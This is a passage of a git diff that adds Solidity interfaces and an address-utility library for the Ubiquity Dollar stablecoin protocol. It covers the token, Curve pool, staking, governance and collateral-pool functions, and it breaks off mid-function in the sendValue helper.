* @notice Interface for ERC20Ubiquity contract + */ +interface IERC20Ubiquity is IERC20, IERC20Permit { + // ----------- Events ----------- + + /// @notice Emitted on tokens minting + event Minting( + address indexed _to, + address indexed _minter, + uint256 _amount + ); + + /// @notice Emitted on tokens burning + event Burning(address indexed _burned, uint256 _amount); + + /** + * @notice Burns tokens from `msg.sender` + * @param amount Amount of tokens to burn + */ + function burn(uint256 amount) external; + + /** + * @notice Burns tokens from the `account` address + * @param account Address to burn tokens from + * @param amount Amount of tokens to burn + */ + function burnFrom(address account, uint256 amount) external; + + /** + * @notice Mints tokens to the `account` address + * @param account Address to mint tokens to + * @param amount Amount of tokens to mint + */ + function mint(address account, uint256 amount) external; +} diff --git a/packages/contracts/src/dollar/interfaces/IStableSwap3Pool.sol b/packages/contracts/src/dollar/interfaces/IStableSwap3Pool.sol new file mode 100644 index 000000000..fabcd183d --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IStableSwap3Pool.sol @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +/// @notice Curve TriPool interface +interface IStableSwap3Pool { + /** + * @notice The current virtual price of the pool LP token + * @dev Useful for calculating profits + * @return LP token virtual price normalized to 1e18 + */ + function get_virtual_price() external view returns (uint256); + + /** + * @notice Returns pool balance + * @return Token balance + */ + function balances(uint256) external view returns (uint256); + + /** + * @notice Returns coin address by index + * @return Coin address + */ + function coins(uint256) external view returns (address); + + /** + * @notice Calculates the price for exchanging a token with index `i` to token + * with index `j` and amount `dx` given the `_balances` provided + * @param i The index of the coin being sent to the pool, as it related to the metapool + * @param j The index of the coin being received from the pool, as it relates to the metapool + * @param dx The amount of `i` being sent to the pool + * @return dy Returns the quote / price as `dy` given `dx` + */ + function get_dy( + int128 i, + int128 j, + uint256 dx + ) external view returns (uint256 dy); + + /** + * @notice Performs an exchange between two tokens. Index values can be found + * using the `coins()` public getter method, or `get_coins()` within the factory contract. + * @param i Index value of the token to send + * @param j Index value of the token to receive + * @param dx The amount of `i` being exchanged + * @param min_dy The minimum amount of `j` to receive. If the swap would result in less, the transaction will revert. + */ + function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external; + + /** + * @notice Deposits coins into to the pool and mints new LP tokens + * @param amounts List of amounts of underlying coins to deposit. + * Amounts correspond to the tokens at the same index locations within `coins`. + * @param min_mint_amount Minimum amount of LP tokens to mint from the deposit + */ + function add_liquidity( + uint256[3] calldata amounts, + uint256 min_mint_amount + ) external payable; + + /** + * @notice Withdraw coins from the pool + * @dev Withdrawal amounts are based on current deposit ratios + * @param _amount Quantity of LP tokens to burn in the withdrawal + * @param amounts Minimum amounts of underlying coins to receive + */ + function remove_liquidity( + uint256 _amount, + uint256[3] calldata amounts + ) external; + + /** + * @notice Withdraw a single coin from the pool + * @param _token_amount Amount of LP tokens to burn in the withdrawal + * @param i Index value of the coin to withdraw + * @param min_amount Minimum amount of coin to receive + */ + function remove_liquidity_one_coin( + uint256 _token_amount, + int128 i, + uint256 min_amount + ) external; + + /** + * @notice Calculate addition or reduction in token supply from a deposit or withdrawal + * @dev This calculation accounts for slippage, but not fees. + * Needed to prevent front-running, not for precise calculations! + * @param amounts Amount of each coin being deposited + * @param deposit set True for deposits, False for withdrawals + */ + function calc_token_amount( + uint256[3] calldata amounts, + bool deposit + ) external view returns (uint256); + + /** + * @notice Calculate the amount received when withdrawing a single coin + * @param _token_amount Amount of LP tokens to burn in the withdrawal + * @param i Index value of the coin to withdraw + */ + function calc_withdraw_one_coin( + uint256 _token_amount, + int128 i + ) external view returns (uint256); +} diff --git a/packages/contracts/src/dollar/interfaces/IStaking.sol b/packages/contracts/src/dollar/interfaces/IStaking.sol new file mode 100644 index 000000000..5d0a6619f --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IStaking.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/// @notice Staking interface +interface IStaking { + /** + * @notice Deposits UbiquityDollar-3CRV LP tokens for a duration to receive staking shares + * @notice Weeks act as a multiplier for the amount of staking shares to be received + * @param _lpsAmount Amount of LP tokens to send + * @param _weeks Number of weeks during which LP tokens will be held + * @return _id Staking share id + */ + function deposit( + uint256 _lpsAmount, + uint256 _weeks + ) external returns (uint256 _id); + + /** + * @notice Adds an amount of UbiquityDollar-3CRV LP tokens + * @notice Staking shares are ERC1155 (aka NFT) because they have an expiration date + * @param _amount Amount of LP token to deposit + * @param _id Staking share id + * @param _weeks Number of weeks during which LP tokens will be held + */ + function addLiquidity( + uint256 _amount, + uint256 _id, + uint256 _weeks + ) external; + + /** + * @notice Removes an amount of UbiquityDollar-3CRV LP tokens + * @notice Staking shares are ERC1155 (aka NFT) because they have an expiration date + * @param _amount Amount of LP token deposited when `_id` was created to be withdrawn + * @param _id Staking share id + */ + function removeLiquidity(uint256 _amount, uint256 _id) external; +} diff --git a/packages/contracts/src/dollar/interfaces/IStakingShare.sol b/packages/contracts/src/dollar/interfaces/IStakingShare.sol new file mode 100644 index 000000000..7fc004d6b --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IStakingShare.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; +import "./IERC1155Ubiquity.sol"; + +/// @notice Interface representing a staking share in the form of ERC1155 token +interface IStakingShare is IERC1155Ubiquity { + /// @notice Stake struct + struct Stake { + // address of the minter + address minter; + // lp amount deposited by the user + uint256 lpFirstDeposited; + uint256 creationBlock; + // lp that were already there when created + uint256 lpRewardDebt; + uint256 endBlock; + // lp remaining for a user + uint256 lpAmount; + } + + /** + * @notice Returns stake info by stake `id` + * @param id Stake id + * @return Stake info + */ + function getStake(uint256 id) external view returns (Stake memory); +} diff --git a/packages/contracts/src/dollar/interfaces/IUbiquityChef.sol b/packages/contracts/src/dollar/interfaces/IUbiquityChef.sol new file mode 100644 index 000000000..9f2425180 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IUbiquityChef.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: UNLICENSED +// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +/** + * @notice Interface for staking Dollar-3CRV LP tokens for Governance tokens reward + */ +interface IUbiquityChef { + /// @notice User's staking share info + struct StakingShareInfo { + uint256 amount; // How many LP tokens the user has provided. + uint256 rewardDebt; // Reward debt. See explanation below. + } + + /// @notice Pool info + struct PoolInfo { + uint256 lastRewardBlock; // Last block number that Governance Token distribution occurs. + uint256 accGovernancePerShare; // Accumulated Governance Token per share, times 1e12. See below. + } + + /// @notice Emitted when Dollar-3CRV LP tokens are deposited to the contract + event Deposit(address indexed user, uint256 amount, uint256 stakingShareID); + + /// @notice Emitted when Dollar-3CRV LP tokens are withdrawn from the contract + event Withdraw( + address indexed user, + uint256 amount, + uint256 stakingShareID + ); + + /** + * @notice Deposits Dollar-3CRV LP tokens to staking for Governance tokens allocation + * @param sender Address where to transfer pending Governance token rewards + * @param amount Amount of LP tokens to deposit + * @param stakingShareID Staking share id + */ + function deposit( + address sender, + uint256 amount, + uint256 stakingShareID + ) external; + + /** + * @notice Withdraws Dollar-3CRV LP tokens from staking + * @param sender Address where to transfer pending Governance token rewards + * @param amount Amount of LP tokens to withdraw + * @param stakingShareID Staking share id + */ + function withdraw( + address sender, + uint256 amount, + uint256 stakingShareID + ) external; + + /** + * @notice Returns staking share info + * @param _id Staking share id + * @return Array of amount of shares and reward debt + */ + function getStakingShareInfo( + uint256 _id + ) external view returns (uint256[2] memory); + + /** + * @notice Total amount of Dollar-3CRV LP tokens deposited to the Staking contract + * @return Total amount of deposited LP tokens + */ + function totalShares() external view returns (uint256); + + /** + * @notice Returns amount of pending reward Governance tokens + * @param _user User address + * @return Amount of pending reward Governance tokens + */ + function pendingGovernance(address _user) external view returns (uint256); +} + +// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON: diff --git a/packages/contracts/src/dollar/interfaces/IUbiquityDollarManager.sol b/packages/contracts/src/dollar/interfaces/IUbiquityDollarManager.sol new file mode 100644 index 000000000..92b5603c2 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IUbiquityDollarManager.sol @@ -0,0 +1,216 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/access/IAccessControl.sol"; + +/** + * @notice Interface for setting protocol parameters + */ +interface IUbiquityDollarManager is IAccessControl { + /** + * @notice Returns name for the "incentive manager" role + * @return Bytes representation of the role name + */ + function INCENTIVE_MANAGER_ROLE() external view returns (bytes32); + + /** + * @notice Returns name for the "governance token minter" role + * @return Bytes representation of the role name + */ + function GOVERNANCE_TOKEN_MINTER_ROLE() external view returns (bytes32); + + /** + * @notice Returns Credit token address + * @return Credit token address + */ + function creditTokenAddress() external view returns (address); + + /** + * @notice Returns treasury address + * @return Treasury address + */ + function treasuryAddress() external view returns (address); + + /** + * @notice Sets Curve TWAP oracle address + * @param _twapOracleAddress TWAP oracle address + */ + function setTwapOracleAddress(address _twapOracleAddress) external; + + /** + * @notice Sets Credit token address + * @param _creditTokenAddress Credit token address + */ + function setCreditTokenAddress(address _creditTokenAddress) external; + + /** + * @notice Sets Credit NFT address + * @param _creditNftAddress Credit NFT address + */ + function setCreditNftAddress(address _creditNftAddress) external; + + /** + * @notice Sets incentive contract `_incentiveAddress` for `_account` address + * @param _account Address for which to set an incentive contract + * @param _incentiveAddress Incentive contract address + */ + function setIncentiveToDollar( + address _account, + address _incentiveAddress + ) external; + + /** + * @notice Sets Dollar token address + * @param _dollarTokenAddress Dollar token address + */ + function setDollarTokenAddress(address _dollarTokenAddress) external; + + /** + * @notice Sets Governance token address + * @param _governanceTokenAddress Governance token address + */ + function setGovernanceTokenAddress( + address _governanceTokenAddress + ) external; + + /** + * @notice Sets Sushi swap pool address (Dollar-Governance) + * @param _sushiSwapPoolAddress Pool address + */ + function setSushiSwapPoolAddress(address _sushiSwapPoolAddress) external; + + /** + * @notice Sets Credit calculator address + * @param _creditCalculatorAddress Credit calculator address + */ + function setCreditCalculatorAddress( + address _creditCalculatorAddress + ) external; + + /** + * @notice Sets Credit NFT calculator address + * @param _creditNftCalculatorAddress Credit NFT calculator address + */ + function setCreditNftCalculatorAddress( + address _creditNftCalculatorAddress + ) external; + + /** + * @notice Sets Dollar mint calculator address + * @param _dollarMintCalculatorAddress Dollar mint calculator address + */ + function setDollarMintCalculatorAddress( + address _dollarMintCalculatorAddress + ) external; + + /** + * @notice Sets excess Dollars distributor address + * @param creditNftManagerAddress Credit NFT manager address + * @param dollarMintExcess Dollar distributor address + */ + function setExcessDollarsDistributor( + address creditNftManagerAddress, + address dollarMintExcess + ) external; + + /** + * @notice Sets MasterChef address + * @param _masterChefAddress MasterChef address + */ + function setMasterChefAddress(address _masterChefAddress) external; + + /** + * @notice Sets formulas address + * @param _formulasAddress Formulas address + */ + function setFormulasAddress(address _formulasAddress) external; + + /** + * @notice Sets staking share address + * @param _stakingShareAddress Staking share address + */ + function setStakingShareAddress(address _stakingShareAddress) external; + + /** + * @notice Sets Curve Dollar-3CRV MetaPool address + * @param _stableSwapMetaPoolAddress Curve Dollar-3CRV MetaPool address + */ + function setStableSwapMetaPoolAddress( + address _stableSwapMetaPoolAddress + ) external; + + /** + * @notice Sets staking contract address + * @dev Staking contract participants deposit Curve LP tokens + * for a certain duration to earn Governance tokens and more Curve LP tokens + * @param _stakingContractAddress Staking contract address + */ + function setStakingContractAddress( + address _stakingContractAddress + ) external; + + /** + * @notice Sets treasury address + * @dev Treasury fund is used to maintain the protocol + * @param _treasuryAddress Treasury address + */ + function setTreasuryAddress(address _treasuryAddress) external; + + /** + * @notice Deploys Curve MetaPool [Stablecoin, 3CRV LP] + * @dev From the curve documentation for uncollateralized algorithmic + * stablecoins amplification should be 5-10 + * @param _curveFactory Curve MetaPool factory address + * @param _crvBasePool Base pool address for MetaPool + * @param _crv3PoolTokenAddress Curve TriPool address + * @param _amplificationCoefficient Amplification coefficient. The smaller + * it is the closer to a constant product we are. + * @param _fee Trade fee, given as an integer with 1e10 precision + */ + function deployStableSwapPool( + address _curveFactory, + address _crvBasePool, + address _crv3PoolTokenAddress, + uint256 _amplificationCoefficient, + uint256 _fee + ) external; + + /** + * @notice Returns excess dollars distributor address + * @param _creditNftManagerAddress Credit NFT manager address + * @return Excess dollars distributor address + */ + function getExcessDollarsDistributor( + address _creditNftManagerAddress + ) external view returns (address); + + /** + * @notice Returns staking address + * @return Staking address + */ + function stakingContractAddress() external view returns (address); + + /** + * @notice Returns staking share address + * @return Staking share address + */ + function stakingShareAddress() external view returns (address); + + /** + * @notice Returns Curve MetaPool address for Dollar-3CRV LP pair + * @return Curve MetaPool address + */ + function stableSwapMetaPoolAddress() external view returns (address); + + /** + * @notice Returns Dollar token address + * @return Dollar token address + */ + function dollarTokenAddress() external view returns (address); + + /** + * @notice Returns Governance token address + * @return Governance token address + */ + function governanceTokenAddress() external view returns (address); +} diff --git a/packages/contracts/src/dollar/interfaces/IUbiquityDollarToken.sol b/packages/contracts/src/dollar/interfaces/IUbiquityDollarToken.sol new file mode 100644 index 000000000..60ed9bc66 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IUbiquityDollarToken.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity 0.8.19; + +import "./IERC20Ubiquity.sol"; + +/** + * @notice Ubiquity Dollar token interface + */ +interface IUbiquityDollarToken is IERC20Ubiquity { + /// @notice Emitted on setting an incentive contract for an account + event IncentiveContractUpdate( + address indexed _incentivized, + address indexed _incentiveContract + ); + + /** + * @notice Sets `incentive` contract for `account` + * @notice Incentive contracts are applied on Dollar transfers: + * - EOA => contract + * - contract => EOA + * - contract => contract + * - any transfer global incentive + * @param account Account to incentivize + * @param incentive Incentive contract address + */ + function setIncentiveContract(address account, address incentive) external; + + /** + * @notice Returns incentive contract address for `account` + * @dev Address is 0 if there is no incentive contract for the account + * @param account Address for which we should retrieve an incentive contract + * @return Incentive contract address + */ + function incentiveContract(address account) external view returns (address); +} diff --git a/packages/contracts/src/dollar/interfaces/IUbiquityFormulas.sol b/packages/contracts/src/dollar/interfaces/IUbiquityFormulas.sol new file mode 100644 index 000000000..f1fbc2c86 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IUbiquityFormulas.sol @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {StakingShare} from "../core/StakingShare.sol"; + +/// @notice Interface for staking formulas +interface IUbiquityFormulas { + /** + * @notice Formula duration multiply + * @notice `_shares = (1 + _multiplier * _weeks^3/2) * _uLP` + * @notice `D32 = D^3/2` + * @notice `S = m * D32 * A + A` + * @param _uLP Amount of LP tokens + * @param _weeks Minimum duration of staking period + * @param _multiplier Staking discount multiplier = 0.0001 + * @return _shares Amount of shares + */ + function durationMultiply( + uint256 _uLP, + uint256 _weeks, + uint256 _multiplier + ) external pure returns (uint256 _shares); + + /** + * @notice Formula to calculate the corrected amount to withdraw based on the proportion of + * LP deposited against actual LP tokens in the staking contract + * @notice `corrected_amount = amount * (stakingLpBalance / totalLpDeposited)` + * @notice If there is more or the same amount of LP than deposited then do nothing + * @param _totalLpDeposited Total amount of LP deposited by users + * @param _stakingLpBalance Actual staking contract LP tokens balance minus LP rewards + * @param _amount Amount of LP tokens + * @return Amount of LP tokens to redeem + */ + function correctedAmountToWithdraw( + uint256 _totalLpDeposited, + uint256 _stakingLpBalance, + uint256 _amount + ) external pure returns (uint256); + + /** + * @notice Formula may add a decreasing rewards if locking end is near when adding liquidity + * @notice `rewards = _amount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return Amount of LP rewards + */ + function lpRewardsAddLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) external pure returns (uint256); + + /** + * @notice Formula may add a decreasing rewards if locking end is near when removing liquidity + * @notice `rewards = _amount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return Amount of LP rewards + */ + function lpRewardsRemoveLiquidityNormalization( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) external pure returns (uint256); + + /** + * @notice Formula of governance rights corresponding to a staking shares LP amount + * @notice Used on removing liquidity from staking + * @notice `shares = (stake.shares * _amount) / stake.lpAmount` + * @param _stake Stake info of staking share + * @param _shareInfo Array of share amounts + * @param _amount Amount of LP tokens + * @return _uLP Amount of shares + */ + function sharesForLP( + StakingShare.Stake memory _stake, + uint256[2] memory _shareInfo, + uint256 _amount + ) external pure returns (uint256 _uLP); +} diff --git a/packages/contracts/src/dollar/interfaces/IUbiquityGovernance.sol b/packages/contracts/src/dollar/interfaces/IUbiquityGovernance.sol new file mode 100644 index 000000000..849f8cba2 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IUbiquityGovernance.sol @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: Apache-2.0 +pragma solidity 0.8.19; + +import "./IERC20Ubiquity.sol"; + +/** + * @notice Ubiquity Governance token interface + */ +interface IUbiquityGovernanceToken is IERC20Ubiquity {} diff --git a/packages/contracts/src/dollar/interfaces/IUbiquityPool.sol b/packages/contracts/src/dollar/interfaces/IUbiquityPool.sol new file mode 100644 index 000000000..909ddc236 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/IUbiquityPool.sol @@ -0,0 +1,367 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +pragma solidity 0.8.19; + +import {LibUbiquityPool} from "../libraries/LibUbiquityPool.sol"; + +/** + * @notice Ubiquity pool interface + * @notice Allows users to: + * - deposit collateral in exchange for Ubiquity Dollars + * - redeem Ubiquity Dollars in exchange for the earlier provided collateral + */ +interface IUbiquityPool { + //===================== + // Views + //===================== + + /** + * @notice Returns all collateral addresses + * @return All collateral addresses + */ + function allCollaterals() external view returns (address[] memory); + + /** + * @notice Returns collateral information + * @param collateralAddress Address of the collateral token + * @return returnData Collateral info + */ + function collateralInformation( + address collateralAddress + ) + external + view + returns (LibUbiquityPool.CollateralInformation memory returnData); + + /** + * @notice Returns current collateral ratio + * @return Collateral ratio + */ + function collateralRatio() external view returns (uint256); + + /** + * @notice Returns USD value of all collateral tokens held in the pool, in E18 + * @return balanceTally USD value of all collateral tokens + */ + function collateralUsdBalance() + external + view + returns (uint256 balanceTally); + + /** + * @notice Returns chainlink price feed information for ETH/USD pair + * @return Price feed address and staleness threshold in seconds + */ + function ethUsdPriceFeedInformation() + external + view + returns (address, uint256); + + /** + * @notice Returns free collateral balance (i.e. that can be borrowed by AMO minters) + * @param collateralIndex collateral token index + * @return Amount of free collateral + */ + function freeCollateralBalance( + uint256 collateralIndex + ) external view returns (uint256); + + /** + * @notice Returns Dollar value in collateral tokens + * @param collateralIndex collateral token index + * @param dollarAmount Amount of Dollars + * @return Value in collateral tokens + */ + function getDollarInCollateral( + uint256 collateralIndex, + uint256 dollarAmount + ) external view returns (uint256); + + /** + * @notice Returns Ubiquity Dollar token USD price (1e6 precision) from Curve Metapool (Ubiquity Dollar, Curve Tri-Pool LP) + * @return dollarPriceUsd USD price of Ubiquity Dollar + */ + function getDollarPriceUsd() external view returns (uint256 dollarPriceUsd); + + /** + * @notice Returns Governance token price in USD (6 decimals precision) + * @dev How it works: + * 1. Fetch ETH/USD price from chainlink oracle + * 2. Fetch Governance/ETH price from Curve's oracle + * 3. Calculate Governance token price in USD + * @return governancePriceUsd Governance token price in USD + */ + function getGovernancePriceUsd() + external + view + returns (uint256 governancePriceUsd); + + /** + * @notice Returns user's balance available for redemption + * @param userAddress User address + * @param collateralIndex Collateral token index + * @return User's balance available for redemption + */ + function getRedeemCollateralBalance( + address userAddress, + uint256 collateralIndex + ) external view returns (uint256); + + /** + * @notice Returns user's Governance tokens balance available for redemption + * @param userAddress User address + * @return User's Governance tokens balance available for redemption + */ + function getRedeemGovernanceBalance( + address userAddress + ) external view returns (uint256); + + /** + * @notice Returns pool address for Governance/ETH pair + * @return Pool address + */ + function governanceEthPoolAddress() external view returns (address); + + /** + * @notice Returns chainlink price feed information for stable/USD pair + * @dev Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool + * @return Price feed address and staleness threshold in seconds + */ + function stableUsdPriceFeedInformation() + external + view + returns (address, uint256); + + //==================== + // Public functions + //==================== + + /** + * @notice Mints Dollars in exchange for collateral tokens + * @param collateralIndex Collateral token index + * @param dollarAmount Amount of dollars to mint + * @param dollarOutMin Min amount of dollars to mint (slippage protection) + * @param maxCollateralIn Max amount of collateral to send (slippage protection) + * @param maxGovernanceIn Max amount of Governance tokens to send (slippage protection) + * @param isOneToOne Force providing only collateral without Governance tokens + * @return totalDollarMint Amount of Dollars minted + * @return collateralNeeded Amount of collateral sent to the pool + * @return governanceNeeded Amount of Governance tokens burnt from sender + */ + function mintDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 dollarOutMin, + uint256 maxCollateralIn, + uint256 maxGovernanceIn, + bool isOneToOne + ) + external + returns ( + uint256 totalDollarMint, + uint256 collateralNeeded, + uint256 governanceNeeded + ); + + /** + * @notice Burns redeemable Ubiquity Dollars and sends back 1 USD of collateral token for every 1 Ubiquity Dollar burned + * @dev Redeem process is split in two steps: + * @dev 1. `redeemDollar()` + * @dev 2. `collectRedemption()` + * @dev This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block + * @param collateralIndex Collateral token index being withdrawn + * @param dollarAmount Amount of Ubiquity Dollars being burned + * @param governanceOutMin Minimum amount of Governance tokens that'll be withdrawn, used to set acceptable slippage + * @param collateralOutMin Minimum amount of collateral tokens that'll be withdrawn, used to set acceptable slippage + * @return collateralOut Amount of collateral tokens ready for redemption + */ + function redeemDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 governanceOutMin, + uint256 collateralOutMin + ) external returns (uint256 collateralOut, uint256 governanceOut); + + /** + * @notice Used to collect collateral tokens after redeeming/burning Ubiquity Dollars + * @dev Redeem process is split in two steps: + * @dev 1. `redeemDollar()` + * @dev 2. `collectRedemption()` + * @dev This is done in order to prevent someone using a flash loan of a collateral token to mint, redeem, and collect in a single transaction/block + * @param collateralIndex Collateral token index being collected + * @return governanceAmount Amount of Governance tokens redeemed + * @return collateralAmount Amount of collateral tokens redeemed + */ + function collectRedemption( + uint256 collateralIndex + ) external returns (uint256 governanceAmount, uint256 collateralAmount); + + /** + * @notice Updates collateral token price in USD from ChainLink price feed + * @param collateralIndex Collateral token index + */ + function updateChainLinkCollateralPrice(uint256 collateralIndex) external; + + //========================= + // AMO minters functions + //========================= + + /** + * @notice Allows AMO minters to borrow collateral to make yield in external + * protocols like Compound, Curve, erc... + * @dev Bypasses the gassy mint->redeem cycle for AMOs to borrow collateral + * @param collateralAmount Amount of collateral to borrow + */ + function amoMinterBorrow(uint256 collateralAmount) external; + + //======================== + // Restricted functions + //======================== + + /** + * @notice Adds a new AMO minter + * @param amoMinterAddress AMO minter address + */ + function addAmoMinter(address amoMinterAddress) external; + + /** + * @notice Adds a new collateral token + * @param collateralAddress Collateral token address + * @param chainLinkPriceFeedAddress Chainlink's price feed address + * @param poolCeiling Max amount of available tokens for collateral + */ + function addCollateralToken( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 poolCeiling + ) external; + + /** + * @notice Removes AMO minter + * @param amoMinterAddress AMO minter address to remove + */ + function removeAmoMinter(address amoMinterAddress) external; + + /** + * @notice Sets collateral ChainLink price feed params + * @param collateralAddress Collateral token address + * @param chainLinkPriceFeedAddress ChainLink price feed address + * @param stalenessThreshold Threshold in seconds when chainlink answer should be considered stale + */ + function setCollateralChainLinkPriceFeed( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 stalenessThreshold + ) external; + + /** + * @notice Sets collateral ratio + * @dev How much collateral/governance tokens user should provide/get to mint/redeem Dollar tokens, 1e6 precision + * + * @dev Example (1_000_000 = 100%): + * - Mint: user provides 1 collateral token to get 1 Dollar + * - Redeem: user gets 1 collateral token for 1 Dollar + * + * @dev Example (900_000 = 90%): + * - Mint: user provides 0.9 collateral token and 0.1 Governance token to get 1 Dollar + * - Redeem: user gets 0.9 collateral token and 0.1 Governance token for 1 Dollar + * + * @param newCollateralRatio New collateral ratio + */ + function setCollateralRatio(uint256 newCollateralRatio) external; + + /** + * @notice Sets chainlink params for ETH/USD price feed + * @param newPriceFeedAddress New chainlink price feed address for ETH/USD pair + * @param newStalenessThreshold New threshold in seconds when chainlink's ETH/USD price feed answer should be considered stale + */ + function setEthUsdChainLinkPriceFeed( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ) external; + + /** + * @notice Sets mint and redeem fees, 1_000_000 = 100% + * @param collateralIndex Collateral token index + * @param newMintFee New mint fee + * @param newRedeemFee New redeem fee + */ + function setFees( + uint256 collateralIndex, + uint256 newMintFee, + uint256 newRedeemFee + ) external; + + /** + * @notice Sets a new pool address for Governance/ETH pair + * + * @dev Based on Curve's CurveTwocryptoOptimized contract. Used for fetching Governance token USD price. + * How it works: + * 1. Fetch Governance/ETH price from CurveTwocryptoOptimized's built-in oracle + * 2. Fetch ETH/USD price from chainlink feed + * 3. Calculate Governance token price in USD + * + * @param newGovernanceEthPoolAddress New pool address for Governance/ETH pair + */ + function setGovernanceEthPoolAddress( + address newGovernanceEthPoolAddress + ) external; + + /** + * @notice Sets max amount of collateral for a particular collateral token + * @param collateralIndex Collateral token index + * @param newCeiling Max amount of collateral + */ + function setPoolCeiling( + uint256 collateralIndex, + uint256 newCeiling + ) external; + + /** + * @notice Sets mint and redeem price thresholds, 1_000_000 = $1.00 + * @param newMintPriceThreshold New mint price threshold + * @param newRedeemPriceThreshold New redeem price threshold + */ + function setPriceThresholds( + uint256 newMintPriceThreshold, + uint256 newRedeemPriceThreshold + ) external; + + /** + * @notice Sets a redemption delay in blocks + * @dev Redeeming is split in 2 actions: + * @dev 1. `redeemDollar()` + * @dev 2. `collectRedemption()` + * @dev `newRedemptionDelayBlocks` sets number of blocks that should be mined after which user can call `collectRedemption()` + * @param newRedemptionDelayBlocks Redemption delay in blocks + */ + function setRedemptionDelayBlocks( + uint256 newRedemptionDelayBlocks + ) external; + + /** + * @notice Sets chainlink params for stable/USD price feed + * @dev Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool + * @param newPriceFeedAddress New chainlink price feed address for stable/USD pair + * @param newStalenessThreshold New threshold in seconds when chainlink's stable/USD price feed answer should be considered stale + */ + function setStableUsdChainLinkPriceFeed( + address newPriceFeedAddress, + uint256 newStalenessThreshold + ) external; + + /** + * @notice Toggles (i.e. enables/disables) a particular collateral token + * @param collateralIndex Collateral token index + */ + function toggleCollateral(uint256 collateralIndex) external; + + /** + * @notice Toggles pause for mint/redeem/borrow methods + * @param collateralIndex Collateral token index + * @param toggleIndex Method index. 0 - toggle mint pause, 1 - toggle redeem pause, 2 - toggle borrow by AMO pause + */ + function toggleMintRedeemBorrow( + uint256 collateralIndex, + uint8 toggleIndex + ) external; +} diff --git a/packages/contracts/src/dollar/interfaces/utils/ICollectableDust.sol b/packages/contracts/src/dollar/interfaces/utils/ICollectableDust.sol new file mode 100644 index 000000000..9b5701288 --- /dev/null +++ b/packages/contracts/src/dollar/interfaces/utils/ICollectableDust.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +/// @notice Interface for collecting dust (i.e. not part of a protocol) tokens sent to a contract +interface ICollectableDust { + /// @notice Emitted when dust tokens are sent to the `_to` address + event DustSent(address _to, address token, uint256 amount); + + /// @notice Emitted when token is added to a protocol + event ProtocolTokenAdded(address _token); + + /// @notice Emitted when token is removed from a protocol + event ProtocolTokenRemoved(address _token); + + /** + * @notice Adds token address to a protocol + * @param _token Token address to add + */ + function addProtocolToken(address _token) external; + + /** + * @notice Removes token address from a protocol + * @param _token Token address to remove + */ + function removeProtocolToken(address _token) external; + + /** + * @notice Sends dust tokens (which are not part of a protocol) to the `_to` address + * @param _to Tokens receiver address + * @param _token Token address to send + * @param _amount Amount of tokens to send + */ + function sendDust(address _to, address _token, uint256 _amount) external; +} diff --git a/packages/contracts/src/dollar/libraries/AddressUtils.sol b/packages/contracts/src/dollar/libraries/AddressUtils.sol new file mode 100644 index 000000000..18e4b0a13 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/AddressUtils.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +import {UintUtils} from "./UintUtils.sol"; + +/** + * @notice Address utils + * @dev https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/utils/AddressUtils.sol + */ +library AddressUtils { + using UintUtils for uint256; + + /// @notice Thrown on insufficient balance + error AddressUtils__InsufficientBalance(); + + /// @notice Thrown when target address has no code + error AddressUtils__NotContract(); + + /// @notice Thrown when sending ETH failed + error AddressUtils__SendValueFailed(); + + /** + * @notice Converts address to string + * @param account Address to convert + * @return String representation of `account` + */ + function toString(address account) internal pure returns (string memory) { + return uint256(uint160(account)).toHexString(20); + } + + /** + * @notice Checks whether `account` has code + * @dev NOTICE: NOT SAFE, can be circumvented in the `constructor()` + * @param account Address to check + * @return Whether `account` has code + */ + function isContract(address account) internal view returns (bool) { + uint256 size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + /** + * @notice Sends ETH to `account` + * @param account Address where to send ETH + * @param amount Amount of ETH to send + */ + function sendValue(address payable account, uint256 amount) internal { + (bool success, ) = account.call{value: 